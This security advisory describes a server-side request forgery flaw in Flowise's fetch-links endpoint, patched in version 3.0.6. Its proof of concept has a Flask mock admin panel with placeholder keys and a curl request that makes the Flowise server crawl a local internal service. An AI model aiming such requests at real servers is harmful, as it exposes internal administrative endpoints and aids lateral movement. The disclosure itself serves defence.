| Package | Affected versions | Patched versions |
|---|---|---|
| flowise | = 3.0.5 | |
| flowise | ≥ 3.0.5, < 3.0.6 | 3.0.6 |
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.
The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
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Scan my site freeUpon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
/api/users (User Management)/api/secrets (API Keys)/api/database (Database Config)This demonstrated that an attacker could enumerate internal web service structures.
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def admin():
return render_template_string("""
<html>
<h1>Internal Admin Panel</h1>
<ul>
<li><a href="/api/users">User Management</a></li>
<li><a href="/api/secrets">API Keys</a></li>
<li><a href="/api/database">Database Config</a></li>
<li><a href="/api/logs">System Logs</a></li>
</ul>
""")
@app.route('/api/users')
def users():
return render_template_string("""
<html>
<h1>Users</h1>
<ul>
<li><a href="/api/users/admin">admin (root)</a></li>
<li><a href="/api/users/operator">operator</a></li>
</ul>
<a href="/">Back</a>
""")
@app.route('/api/secrets')
def secrets():
return render_template_string("""
<html>
<h1>Secrets</h1>
<ul>
<li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
<li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
</ul>
<a href="/">Back</a>
""")
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
curl -G 'http://localhost:3000/api/v1/fetch-links' \
--data-urlencode 'url=http://127.0.0.1:8080/' \
--data-urlencode 'relativeLinksMethod=webCrawl' \
--data-urlencode 'limit=10' \
-H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
-s | jq '.'
This is a Server-Side Request Forgery (SSRF) vulnerability.
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.